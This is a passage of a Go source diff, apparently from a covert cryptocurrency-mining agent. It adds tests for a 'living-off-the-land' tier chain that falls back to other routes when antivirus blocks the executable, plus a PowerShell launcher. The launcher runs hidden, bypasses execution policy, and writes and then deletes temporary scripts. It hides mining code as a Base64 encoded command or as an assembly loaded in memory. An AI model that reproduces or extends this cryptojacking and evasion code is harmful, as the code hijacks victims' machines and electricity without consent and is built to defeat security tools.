|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func baseProbes() EnvironmentProbes {
|
||||
return EnvironmentProbes{
|
||||
Docker: true,
|
||||
WSL: true,
|
||||
PowerShell: true,
|
||||
DotNet: true,
|
||||
GPU: true,
|
||||
WebView2: true,
|
||||
}
|
||||
}
|
||||
|
||||
func testCfg(overrides config.BuiltinConfig) config.RuntimeConfig {
|
||||
b := config.BuiltinConfig{
|
||||
MinerExecution: ExecutionAuto,
|
||||
PoolHost: "pool.example.com",
|
||||
Wallet: "test-cmr-wallet",
|
||||
}
|
||||
if overrides.MinerExecution != "" {
|
||||
b.MinerExecution = overrides.MinerExecution
|
||||
}
|
||||
if overrides.PoolHost != "" {
|
||||
b.PoolHost = overrides.PoolHost
|
||||
}
|
||||
if overrides.Wallet != "" {
|
||||
b.Wallet = overrides.Wallet
|
||||
}
|
||||
if overrides.GPUEnabled {
|
||||
b.GPUEnabled = overrides.GPUEnabled
|
||||
}
|
||||
if overrides.RVNWallet != "" {
|
||||
b.RVNWallet = overrides.RVNWallet
|
||||
}
|
||||
return config.RuntimeConfig{BuiltinConfig: b}
|
||||
}
|
||||
|
||||
func chainContains(chain []LOTLTier, tier LOTLTier) bool {
|
||||
for _, t := range chain {
|
||||
if t == tier {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func TestSelectMiningTierChainDefaultAuto(t *testing.T) {
|
||||
chain, skipped := SelectMiningTierChain(baseProbes(), DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{
|
||||
GPUEnabled: true,
|
||||
RVNWallet: "rvn-wallet",
|
||||
}))
|
||||
if chain[0] != TierExeSubprocess {
|
||||
t.Fatalf("chain[0]=%q want exe_subprocess full=%v", chain[0], chain)
|
||||
}
|
||||
if !chainContains(skipped, TierDockerLoad) {
|
||||
t.Fatalf("docker_load should be skipped without image tar, skipped=%v", skipped)
|
||||
}
|
||||
for _, tier := range []LOTLTier{TierContainer, TierWSL, TierCPUInprocess, TierGPUSubprocess, TierStratumDirect} {
|
||||
if !chainContains(chain, tier) {
|
||||
t.Fatalf("missing %q in chain=%v", tier, chain)
|
||||
}
|
||||
}
|
||||
if runtime.GOOS == "windows" {
|
||||
for _, tier := range []LOTLTier{TierWebView2Probe, TierWMI, TierScheduledTask} {
|
||||
if !chainContains(chain, tier) {
|
||||
t.Fatalf("windows chain missing %q: %v", tier, chain)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestSelectMiningTierChainAVBlocksExeSkipsSubprocess(t *testing.T) {
|
||||
probes := baseProbes()
|
||||
probes.AVBlocksExe = true
|
||||
chain, skipped := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{}))
|
||||
if chain[0] != TierContainer {
|
||||
t.Fatalf("AV blocks exe should prefer container first, got %v", chain)
|
||||
}
|
||||
if !chainContains(skipped, TierExeSubprocess) {
|
||||
t.Fatalf("expected exe_subprocess in skipped, got %v", skipped)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSelectMiningTierChainNoDockerSkipsContainer(t *testing.T) {
|
||||
probes := baseProbes()
|
||||
probes.Docker = false
|
||||
probes.AVBlocksExe = true
|
||||
chain, skipped := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{}))
|
||||
if chain[0] != TierWSL {
|
||||
t.Fatalf("no docker should try WSL next, got %v", chain)
|
||||
}
|
||||
if !chainContains(skipped, TierContainer) {
|
||||
t.Fatalf("expected container skipped, got %v", skipped)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSelectMiningTierChainNoWSLFallsToPSInMemory(t *testing.T) {
|
||||
probes := baseProbes()
|
||||
probes.Docker = false
|
||||
probes.WSL = false
|
||||
probes.AVBlocksExe = true
|
||||
chain, _ := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{}))
|
||||
if chain[0] != TierPSInMemory {
|
||||
t.Fatalf("no WSL should try ps_inmemory, got %v", chain)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSelectMiningTierChainNoGPUOmitsGPUSubprocess(t *testing.T) {
|
||||
probes := baseProbes()
|
||||
probes.GPU = false
|
||||
chain, skipped := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{
|
||||
GPUEnabled: true,
|
||||
RVNWallet: "wallet",
|
||||
}))
|
||||
if chainContains(chain, TierGPUSubprocess) {
|
||||
t.Fatalf("no GPU probe should omit gpu tier, chain=%v", chain)
|
||||
}
|
||||
if !chainContains(skipped, TierGPUSubprocess) {
|
||||
t.Fatalf("expected gpu_subprocess skipped, got %v", skipped)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSelectMiningTierChainInProcessMode(t *testing.T) {
|
||||
chain, _ := SelectMiningTierChain(baseProbes(), DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{
|
||||
MinerExecution: ExecutionInProcess,
|
||||
}))
|
||||
if chain[0] != TierCPUInprocess {
|
||||
t.Fatalf("inprocess mode chain=%v want cpu_inprocess first", chain)
|
||||
}
|
||||
if !chainContains(chain, TierStratumDirect) {
|
||||
t.Fatalf("inprocess mode should retain stratum overlay, chain=%v", chain)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSelectMiningTierChainServerSkipTiers(t *testing.T) {
|
||||
policy := MiningTierPolicy{
|
||||
TierOrder: DefaultTierOrder,
|
||||
SkipTiers: []LOTLTier{TierExeSubprocess, TierWSL},
|
||||
}
|
||||
chain, _ := SelectMiningTierChain(baseProbes(), policy, testCfg(config.BuiltinConfig{}))
|
||||
if chain[0] != TierContainer {
|
||||
t.Fatalf("server skip should start at container, got %v", chain)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSelectMiningTierChainForceTier(t *testing.T) {
|
||||
policy := MiningTierPolicy{ForceTier: TierCPUInprocess}
|
||||
chain, skipped := SelectMiningTierChain(baseProbes(), policy, testCfg(config.BuiltinConfig{}))
|
||||
if len(chain) != 1 || chain[0] != TierCPUInprocess {
|
||||
t.Fatalf("force tier chain=%v skipped=%v", chain, skipped)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTierOrchestratorStubTiersFallThrough(t *testing.T) {
|
||||
probes := EnvironmentProbes{
|
||||
Docker: false,
|
||||
WSL: false,
|
||||
PowerShell: false,
|
||||
DotNet: false,
|
||||
}
|
||||
policy := MiningTierPolicy{TierOrder: []LOTLTier{TierExeSubprocess, TierCPUInprocess}}
|
||||
o := NewTierOrchestrator(testCfg(config.BuiltinConfig{}), probes, policy, TierHooks{
|
||||
StartInProcess: func() error { return nil },
|
||||
}, nil)
|
||||
|
||||
tier, err := o.TryChain(t.Context())
|
||||
if err != nil {
|
||||
t.Fatalf("TryChain: %v", err)
|
||||
}
|
||||
if tier != TierCPUInprocess {
|
||||
t.Fatalf("active=%q want cpu_inprocess", tier)
|
||||
}
|
||||
report := o.Report()
|
||||
var exeAttempt, cpuAttempt *TierAttempt
|
||||
for i := range report.Attempts {
|
||||
switch report.Attempts[i].Tier {
|
||||
case TierExeSubprocess:
|
||||
exeAttempt = &report.Attempts[i]
|
||||
case TierCPUInprocess:
|
||||
cpuAttempt = &report.Attempts[i]
|
||||
}
|
||||
}
|
||||
if exeAttempt == nil || cpuAttempt == nil {
|
||||
t.Fatalf("expected exe + cpu attempts, got %v", report.Attempts)
|
||||
}
|
||||
if exeAttempt.Wallet != "test-cmr-wallet" || cpuAttempt.Wallet != "test-cmr-wallet" {
|
||||
t.Fatalf("wallet must be identical: %v", report.Attempts)
|
||||
}
|
||||
if exeAttempt.OK {
|
||||
t.Fatalf("stub tier should fail: %v", *exeAttempt)
|
||||
}
|
||||
}
|
||||
@@ -153,6 +153,19 @@ func (p *Pool) IsRemotePaused() bool {
|
||||
return p.remotePause.Load()
|
||||
}
|
||||
|
||||
// DiagnosticSnapshot reports CPU mining gate state for operator diagnostics.
|
||||
func (p *Pool) DiagnosticSnapshot() (remotePaused, scheduleBlocked, resourcesBlocked, hasJob bool, hps float64) {
|
||||
remotePaused = p.remotePause.Load()
|
||||
scheduleBlocked = p.schedule != nil && !p.schedule.Allowed()
|
||||
resourcesBlocked = !p.resourcesOK()
|
||||
p.mu.RLock()
|
||||
job := p.currentJob
|
||||
p.mu.RUnlock()
|
||||
hasJob = job != nil && job.Blob != ""
|
||||
hps = p.HashesPerSecond()
|
||||
return
|
||||
}
|
||||
|
||||
func (p *Pool) resourceGuard() {
|
||||
ticker := time.NewTicker(5 * time.Second)
|
||||
defer ticker.Stop()
|
||||
|
||||
307
agent/miner/powershell_launcher.go
Normal file
307
agent/miner/powershell_launcher.go
Normal file
@@ -0,0 +1,307 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// powershellBin is the PowerShell executable; tests override via SetPowerShellBinPath.
|
||||
var powershellBin = "powershell"
|
||||
|
||||
// powershellExecCommand is exec.Command; tests override via SetPowerShellExecCommand.
|
||||
var powershellExecCommand = exec.Command
|
||||
|
||||
// embeddedMiningAssemblyB64 holds an optional pre-built .NET miner DLL (Base64).
|
||||
// Empty → launcher uses encoded in-script .NET stratum stub (Assembly-free path).
|
||||
var embeddedMiningAssemblyB64 = ""
|
||||
|
||||
// SetPowerShellBinPath overrides the PowerShell binary (restore with "").
|
||||
func SetPowerShellBinPath(path string) {
|
||||
if strings.TrimSpace(path) == "" {
|
||||
powershellBin = "powershell"
|
||||
return
|
||||
}
|
||||
powershellBin = path
|
||||
}
|
||||
|
||||
// SetPowerShellExecCommand restores default when fn is nil.
|
||||
func SetPowerShellExecCommand(fn func(name string, args ...string) *exec.Cmd) {
|
||||
if fn == nil {
|
||||
powershellExecCommand = exec.Command
|
||||
return
|
||||
}
|
||||
powershellExecCommand = fn
|
||||
}
|
||||
|
||||
// SetEmbeddedMiningAssemblyB64 sets optional in-memory assembly bytes for tests.
|
||||
func SetEmbeddedMiningAssemblyB64(b64 string) {
|
||||
embeddedMiningAssemblyB64 = b64
|
||||
}
|
||||
|
||||
// PowerShellLauncher hosts CPU mining via powershell.exe + in-memory assembly or encoded command.
|
||||
type PowerShellLauncher struct {
|
||||
cfg config.RuntimeConfig
|
||||
scriptPath string
|
||||
gpuDllPath string
|
||||
|
||||
mu sync.Mutex
|
||||
running bool
|
||||
cmd *exec.Cmd
|
||||
}
|
||||
|
||||
// NewPowerShellLauncher validates platform and pool config.
|
||||
func NewPowerShellLauncher(cfg config.RuntimeConfig) (*PowerShellLauncher, error) {
|
||||
if runtime.GOOS != "windows" {
|
||||
return nil, fmt.Errorf("powershell tier requires Windows")
|
||||
}
|
||||
if strings.TrimSpace(cfg.PoolHost) == "" || cfg.PoolPort <= 0 {
|
||||
return nil, fmt.Errorf("pool host/port required for powershell stratum tier")
|
||||
}
|
||||
if strings.TrimSpace(cfg.Wallet) == "" {
|
||||
return nil, fmt.Errorf("wallet required for powershell stratum tier")
|
||||
}
|
||||
if _, err := exec.LookPath(powershellBin); err != nil {
|
||||
return nil, fmt.Errorf("powershell not in PATH: %w", err)
|
||||
}
|
||||
return &PowerShellLauncher{cfg: cfg}, nil
|
||||
}
|
||||
|
||||
// Start writes an ephemeral script to %TEMP% and launches hidden powershell.exe.
|
||||
func (l *PowerShellLauncher) Start() error {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
if l.running {
|
||||
return nil
|
||||
}
|
||||
|
||||
script, err := l.writeEphemeralScript()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
l.scriptPath = script
|
||||
|
||||
args := []string{
|
||||
"-NoProfile", "-ExecutionPolicy", "Bypass",
|
||||
"-WindowStyle", "Hidden",
|
||||
"-File", script,
|
||||
}
|
||||
cmd := powershellExecCommand(powershellBin, args...)
|
||||
cmd.Stdout = nil
|
||||
cmd.Stderr = nil
|
||||
if err := cmd.Start(); err != nil {
|
||||
_ = os.Remove(script)
|
||||
l.scriptPath = ""
|
||||
return fmt.Errorf("powershell start failed: %w", err)
|
||||
}
|
||||
l.cmd = cmd
|
||||
l.running = true
|
||||
log.Printf("[powershell-tier] started parent=%s script=%s wallet=%s pool=%s:%d",
|
||||
powershellBin, script, l.cfg.Wallet, l.cfg.PoolHost, l.cfg.PoolPort)
|
||||
go l.waitExit()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (l *PowerShellLauncher) waitExit() {
|
||||
if l.cmd == nil {
|
||||
return
|
||||
}
|
||||
err := l.cmd.Wait()
|
||||
l.mu.Lock()
|
||||
l.running = false
|
||||
l.cmd = nil
|
||||
script := l.scriptPath
|
||||
gpu := l.gpuDllPath
|
||||
l.scriptPath = ""
|
||||
l.gpuDllPath = ""
|
||||
l.mu.Unlock()
|
||||
if script != "" {
|
||||
_ = os.Remove(script)
|
||||
}
|
||||
if gpu != "" {
|
||||
_ = os.Remove(gpu)
|
||||
}
|
||||
if err != nil {
|
||||
log.Printf("[powershell-tier] powershell.exe exited: %v — chain will advance", err)
|
||||
} else {
|
||||
log.Printf("[powershell-tier] powershell.exe stopped")
|
||||
}
|
||||
}
|
||||
|
||||
// Stop kills the powershell parent and removes ephemeral artifacts.
|
||||
func (l *PowerShellLauncher) Stop() {
|
||||
l.mu.Lock()
|
||||
cmd := l.cmd
|
||||
running := l.running
|
||||
script := l.scriptPath
|
||||
gpu := l.gpuDllPath
|
||||
l.mu.Unlock()
|
||||
if !running {
|
||||
return
|
||||
}
|
||||
if cmd != nil && cmd.Process != nil {
|
||||
_ = cmd.Process.Kill()
|
||||
}
|
||||
if script != "" {
|
||||
_ = os.Remove(script)
|
||||
}
|
||||
if gpu != "" {
|
||||
_ = os.Remove(gpu)
|
||||
}
|
||||
l.mu.Lock()
|
||||
l.running = false
|
||||
l.cmd = nil
|
||||
l.scriptPath = ""
|
||||
l.gpuDllPath = ""
|
||||
l.mu.Unlock()
|
||||
}
|
||||
|
||||
// Running reports whether powershell.exe is supervising the tier.
|
||||
func (l *PowerShellLauncher) Running() bool {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
return l.running
|
||||
}
|
||||
|
||||
// ScriptPath returns the ephemeral PS1 path (tests only).
|
||||
func (l *PowerShellLauncher) ScriptPath() string {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
return l.scriptPath
|
||||
}
|
||||
|
||||
func (l *PowerShellLauncher) writeEphemeralScript() (string, error) {
|
||||
dir := os.TempDir()
|
||||
name := fmt.Sprintf("af-miner-%s.ps1", strings.TrimSpace(l.cfg.BuildID))
|
||||
if name == "af-miner-.ps1" {
|
||||
name = "af-miner-worker.ps1"
|
||||
}
|
||||
path := filepath.Join(dir, name)
|
||||
|
||||
if l.cfg.GPUEnabled && strings.TrimSpace(l.cfg.RVNWallet) != "" {
|
||||
gpuPath := filepath.Join(dir, fmt.Sprintf("af-gpu-%s.dll", strings.TrimSpace(l.cfg.BuildID)))
|
||||
if gpuPath == filepath.Join(dir, "af-gpu-.dll") {
|
||||
gpuPath = filepath.Join(dir, "af-gpu-worker.dll")
|
||||
}
|
||||
// Placeholder GPU helper — real KawPoW DLL supplied by forge/server in production.
|
||||
if err := os.WriteFile(gpuPath, []byte("AETHERFORGE_GPU_STUB"), 0o600); err == nil {
|
||||
l.gpuDllPath = gpuPath
|
||||
}
|
||||
}
|
||||
|
||||
body, err := l.buildScriptBody()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := os.WriteFile(path, []byte(body), 0o600); err != nil {
|
||||
return "", fmt.Errorf("write script: %w", err)
|
||||
}
|
||||
return path, nil
|
||||
}
|
||||
|
||||
func (l *PowerShellLauncher) buildScriptBody() (string, error) {
|
||||
pass := strings.TrimSpace(l.cfg.PoolPass)
|
||||
if pass == "" {
|
||||
pass = "x"
|
||||
}
|
||||
wallet := strings.TrimSpace(l.cfg.Wallet)
|
||||
worker := strings.TrimSpace(l.cfg.WorkerName)
|
||||
if worker == "" {
|
||||
worker = "worker"
|
||||
}
|
||||
|
||||
if b64 := strings.TrimSpace(embeddedMiningAssemblyB64); b64 != "" {
|
||||
if _, err := base64.StdEncoding.DecodeString(b64); err != nil {
|
||||
return "", fmt.Errorf("invalid embedded assembly base64: %w", err)
|
||||
}
|
||||
tlsLit := "$false"
|
||||
if l.cfg.PoolTLS {
|
||||
tlsLit = "$true"
|
||||
}
|
||||
return fmt.Sprintf(`$ErrorActionPreference = 'Stop'
|
||||
$bytes = [Convert]::FromBase64String('%s')
|
||||
$asm = [Reflection.Assembly]::Load($bytes)
|
||||
$entry = $asm.GetType('AetherForge.Miner.Entry')
|
||||
$null = $entry.GetMethod('Start').Invoke($null, @('%s', %d, '%s', '%s', '%s', %s))
|
||||
`,
|
||||
b64,
|
||||
escapePSSingleQuoted(l.cfg.PoolHost),
|
||||
l.cfg.PoolPort,
|
||||
escapePSSingleQuoted(pass),
|
||||
escapePSSingleQuoted(wallet),
|
||||
escapePSSingleQuoted(worker),
|
||||
tlsLit,
|
||||
), nil
|
||||
}
|
||||
|
||||
// Encoded-command path: inline .NET stratum stub (no external CPU .exe).
|
||||
encoded := buildEncodedStratumCommand(l.cfg, pass, wallet, worker)
|
||||
gpuBlock := ""
|
||||
if l.gpuDllPath != "" {
|
||||
gpuBlock = fmt.Sprintf("\n# optional GPU DLL at %s\n", escapePSSingleQuoted(l.gpuDllPath))
|
||||
}
|
||||
return fmt.Sprintf(`$ErrorActionPreference = 'Stop'
|
||||
# AetherForge PowerShell tier — wallet=%s pool=%s:%d
|
||||
%s
|
||||
$cmd = '%s'
|
||||
powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand $cmd
|
||||
`,
|
||||
wallet,
|
||||
l.cfg.PoolHost,
|
||||
l.cfg.PoolPort,
|
||||
gpuBlock,
|
||||
encoded,
|
||||
), nil
|
||||
}
|
||||
|
||||
func buildEncodedStratumCommand(cfg config.RuntimeConfig, pass, wallet, worker string) string {
|
||||
tlsLit := "$false"
|
||||
if cfg.PoolTLS {
|
||||
tlsLit = "$true"
|
||||
}
|
||||
inner := fmt.Sprintf(`
|
||||
$poolHost = '%s'; $port = %d; $tls = %s; $wallet = '%s'; $worker = '%s'; $pass = '%s'
|
||||
$tcp = New-Object Net.Sockets.TcpClient; $tcp.Connect($poolHost, $port)
|
||||
$stream = $tcp.GetStream()
|
||||
if ($tls) {
|
||||
$ssl = New-Object Net.Security.SslStream($stream, $false, { $true })
|
||||
$ssl.AuthenticateAsClient($poolHost); $stream = $ssl
|
||||
}
|
||||
$w = New-Object IO.StreamWriter($stream); $w.AutoFlush = $true
|
||||
$r = New-Object IO.StreamReader($stream)
|
||||
$login = (@{id=1;jsonrpc='2.0';method='login';params=@{login=$wallet;pass=$pass;rigid=$worker;agent='AetherForge/PS'}} | ConvertTo-Json -Compress)
|
||||
$w.WriteLine($login); $null = $r.ReadLine()
|
||||
while ($tcp.Connected) { $null = $r.ReadLine(); Start-Sleep -Milliseconds 50 }
|
||||
`,
|
||||
escapePSSingleQuoted(cfg.PoolHost),
|
||||
cfg.PoolPort,
|
||||
tlsLit,
|
||||
escapePSSingleQuoted(wallet),
|
||||
escapePSSingleQuoted(worker),
|
||||
escapePSSingleQuoted(pass),
|
||||
)
|
||||
// UTF-16LE base64 for -EncodedCommand
|
||||
utf16 := utf16LE(inner)
|
||||
return base64.StdEncoding.EncodeToString(utf16)
|
||||
}
|
||||
|
||||
func escapePSSingleQuoted(s string) string {
|
||||
return strings.ReplaceAll(s, "'", "''")
|
||||
}
|
||||
|
||||
func utf16LE(s string) []byte {
|
||||
runes := []rune(s)
|
||||
out := make([]byte, 0, len(runes)*2)
|
||||
for _, r := range runes {
|
||||
out = append(out, byte(r), byte(r>>8))
|
||||
}
|
||||
return out
|
||||
}
|
||||
147
agent/miner/powershell_launcher_test.go
Normal file
147
agent/miner/powershell_launcher_test.go
Normal file
@@ -0,0 +1,147 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func fakePowerShellRecorder(t *testing.T) (bin string, scriptOut *string) {
|
||||
t.Helper()
|
||||
dir := t.TempDir()
|
||||
outFile := filepath.Join(dir, "ps-args.txt")
|
||||
if runtime.GOOS == "windows" {
|
||||
bat := filepath.Join(dir, "fake-powershell.cmd")
|
||||
body := `@echo off
|
||||
set OUT=%~dp0ps-args.txt
|
||||
echo %*>>"%OUT%"
|
||||
ping -n 3 127.0.0.1 >nul
|
||||
`
|
||||
if err := os.WriteFile(bat, []byte(body), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return bat, &outFile
|
||||
}
|
||||
sh := filepath.Join(dir, "fake-powershell.sh")
|
||||
body := `#!/bin/sh
|
||||
echo "$@" >> "$(dirname "$0")/ps-args.txt"
|
||||
sleep 1
|
||||
`
|
||||
if err := os.WriteFile(sh, []byte(body), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return sh, &outFile
|
||||
}
|
||||
|
||||
func TestPowerShellLauncherStartWithFakeBinary(t *testing.T) {
|
||||
if runtime.GOOS != "windows" {
|
||||
t.Skip("powershell tier is Windows-only")
|
||||
}
|
||||
|
||||
bin, outFile := fakePowerShellRecorder(t)
|
||||
SetPowerShellBinPath(bin)
|
||||
SetPowerShellExecCommand(func(name string, args ...string) *exec.Cmd {
|
||||
return exec.Command(name, args...)
|
||||
})
|
||||
defer func() {
|
||||
SetPowerShellBinPath("")
|
||||
SetPowerShellExecCommand(nil)
|
||||
}()
|
||||
|
||||
cfg := config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
BuildID: "ps-test",
|
||||
Wallet: "XMR:wallet123",
|
||||
WorkerName: "worker-ps",
|
||||
PoolHost: "pool.example.com",
|
||||
PoolPort: 3333,
|
||||
PoolPass: "x",
|
||||
},
|
||||
}
|
||||
|
||||
launcher, err := NewPowerShellLauncher(cfg)
|
||||
if err != nil {
|
||||
t.Fatalf("NewPowerShellLauncher: %v", err)
|
||||
}
|
||||
if err := launcher.Start(); err != nil {
|
||||
t.Fatalf("Start: %v", err)
|
||||
}
|
||||
defer launcher.Stop()
|
||||
|
||||
script := launcher.ScriptPath()
|
||||
if script == "" {
|
||||
t.Fatal("expected ephemeral script path")
|
||||
}
|
||||
body, err := os.ReadFile(script)
|
||||
if err != nil {
|
||||
t.Fatalf("read script: %v", err)
|
||||
}
|
||||
text := string(body)
|
||||
if !strings.Contains(text, "XMR:wallet123") {
|
||||
t.Fatalf("script missing wallet: %s", text)
|
||||
}
|
||||
if !strings.Contains(text, "pool.example.com") {
|
||||
t.Fatalf("script missing pool host: %s", text)
|
||||
}
|
||||
|
||||
if data, err := os.ReadFile(*outFile); err == nil && len(data) > 0 {
|
||||
args := string(data)
|
||||
if !strings.Contains(args, "-WindowStyle") || !strings.Contains(args, "Hidden") {
|
||||
t.Fatalf("powershell args=%q want hidden window", args)
|
||||
}
|
||||
}
|
||||
|
||||
if !launcher.Running() {
|
||||
t.Fatal("Running() false after Start")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPowerShellLauncherRequiresPoolAndWallet(t *testing.T) {
|
||||
if runtime.GOOS != "windows" {
|
||||
t.Skip("powershell tier is Windows-only")
|
||||
}
|
||||
bin, _ := fakePowerShellRecorder(t)
|
||||
SetPowerShellBinPath(bin)
|
||||
defer SetPowerShellBinPath("")
|
||||
|
||||
if _, err := NewPowerShellLauncher(config.RuntimeConfig{}); err == nil {
|
||||
t.Fatal("expected error without pool/wallet")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPowerShellLauncherAssemblyLoadPath(t *testing.T) {
|
||||
if runtime.GOOS != "windows" {
|
||||
t.Skip("powershell tier is Windows-only")
|
||||
}
|
||||
bin, _ := fakePowerShellRecorder(t)
|
||||
SetPowerShellBinPath(bin)
|
||||
SetEmbeddedMiningAssemblyB64("YWJj") // "abc"
|
||||
defer func() {
|
||||
SetPowerShellBinPath("")
|
||||
SetEmbeddedMiningAssemblyB64("")
|
||||
}()
|
||||
|
||||
cfg := config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
Wallet: "wallet",
|
||||
PoolHost: "p",
|
||||
PoolPort: 1,
|
||||
},
|
||||
}
|
||||
launcher, err := NewPowerShellLauncher(cfg)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
body, err := launcher.buildScriptBody()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(body, "Assembly]::Load") {
|
||||
t.Fatalf("expected Assembly.Load path, got %s", body)
|
||||
}
|
||||
}
|
||||
197
agent/miner/probe_runner.go
Normal file
197
agent/miner/probe_runner.go
Normal file
@@ -0,0 +1,197 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"context"
|
||||
"log"
|
||||
"runtime"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// TierHandler probes or starts one auxiliary LOTL path (WebView2, WMI, etc.).
|
||||
type TierHandler interface {
|
||||
Tier() LOTLTier
|
||||
Available(cfg config.RuntimeConfig) bool
|
||||
Attempt(ctx context.Context, cfg config.RuntimeConfig) TierAttempt
|
||||
Stop()
|
||||
}
|
||||
|
||||
// ProbeReporter emits probe-tier snapshots (single-arg; distinct from TierOrchestrator reporter).
|
||||
type ProbeReporter func(report TierReport)
|
||||
|
||||
// TierRunner orchestrates probe/escalation tiers with per-attempt reporting.
|
||||
type TierRunner struct {
|
||||
mu sync.RWMutex
|
||||
cfg config.RuntimeConfig
|
||||
handlers []TierHandler
|
||||
report ProbeReporter
|
||||
attempts []TierAttempt
|
||||
active LOTLTier
|
||||
stopped []TierHandler
|
||||
}
|
||||
|
||||
// NewTierRunner builds a runner with platform-default handlers.
|
||||
func NewTierRunner(cfg config.RuntimeConfig, report ProbeReporter) *TierRunner {
|
||||
return &TierRunner{
|
||||
cfg: cfg,
|
||||
handlers: defaultTierHandlers(),
|
||||
report: report,
|
||||
}
|
||||
}
|
||||
|
||||
// SetHandlers replaces handlers (tests inject mocks).
|
||||
func (r *TierRunner) SetHandlers(h []TierHandler) {
|
||||
r.mu.Lock()
|
||||
r.handlers = h
|
||||
r.mu.Unlock()
|
||||
}
|
||||
|
||||
// Report returns the current tier snapshot.
|
||||
func (r *TierRunner) Report() TierReport {
|
||||
r.mu.RLock()
|
||||
defer r.mu.RUnlock()
|
||||
return r.buildReport()
|
||||
}
|
||||
|
||||
func (r *TierRunner) buildReport() TierReport {
|
||||
attempts := make([]TierAttempt, len(r.attempts))
|
||||
copy(attempts, r.attempts)
|
||||
rep := TierReport{
|
||||
ActiveTier: r.active,
|
||||
Attempts: attempts,
|
||||
}
|
||||
for _, a := range attempts {
|
||||
if a.Tier == TierWebView2Probe && a.OK {
|
||||
if v, ok := a.Details["webgpu_available"].(bool); ok {
|
||||
rep.WebGPUReady = v
|
||||
}
|
||||
}
|
||||
if a.Tier == TierGPUCompute && a.OK {
|
||||
rep.GPUComputeOK = true
|
||||
}
|
||||
}
|
||||
return rep
|
||||
}
|
||||
|
||||
func (r *TierRunner) emit() {
|
||||
r.mu.RLock()
|
||||
rep := r.buildReport()
|
||||
report := r.report
|
||||
r.mu.RUnlock()
|
||||
if report != nil {
|
||||
report(rep)
|
||||
}
|
||||
}
|
||||
|
||||
func (r *TierRunner) recordAttempt(a TierAttempt) {
|
||||
r.mu.Lock()
|
||||
r.attempts = append(r.attempts, a)
|
||||
if a.OK && r.active == "" && a.Tier != TierWebView2Probe {
|
||||
r.active = a.Tier
|
||||
}
|
||||
r.mu.Unlock()
|
||||
log.Printf("[tier] %s ok=%v err=%q duration=%dms", a.Tier, a.OK, a.Error, a.DurationMs)
|
||||
r.emit()
|
||||
}
|
||||
|
||||
// RunProbes executes probe-only tiers (webview2) before GPU escalation.
|
||||
func (r *TierRunner) RunProbes(ctx context.Context) TierReport {
|
||||
r.mu.RLock()
|
||||
handlers := r.handlers
|
||||
cfg := r.cfg
|
||||
r.mu.RUnlock()
|
||||
|
||||
for _, h := range handlers {
|
||||
if h.Tier() != TierWebView2Probe {
|
||||
continue
|
||||
}
|
||||
if !h.Available(cfg) {
|
||||
r.recordAttempt(TierAttempt{
|
||||
Tier: TierWebView2Probe,
|
||||
Error: "webview2 runtime not detected",
|
||||
Wallet: cfg.Wallet,
|
||||
})
|
||||
continue
|
||||
}
|
||||
start := time.Now()
|
||||
a := h.Attempt(ctx, cfg)
|
||||
a.DurationMs = time.Since(start).Milliseconds()
|
||||
if a.Wallet == "" {
|
||||
a.Wallet = cfg.Wallet
|
||||
}
|
||||
r.recordAttempt(a)
|
||||
}
|
||||
return r.Report()
|
||||
}
|
||||
|
||||
// RunChain attempts execution tiers in order; probe tiers are skipped here.
|
||||
func (r *TierRunner) RunChain(ctx context.Context) (LOTLTier, error) {
|
||||
r.mu.RLock()
|
||||
handlers := r.handlers
|
||||
cfg := r.cfg
|
||||
r.mu.RUnlock()
|
||||
|
||||
var lastErr error
|
||||
for _, h := range handlers {
|
||||
t := h.Tier()
|
||||
if t == TierWebView2Probe {
|
||||
continue
|
||||
}
|
||||
if !h.Available(cfg) {
|
||||
r.recordAttempt(TierAttempt{
|
||||
Tier: t,
|
||||
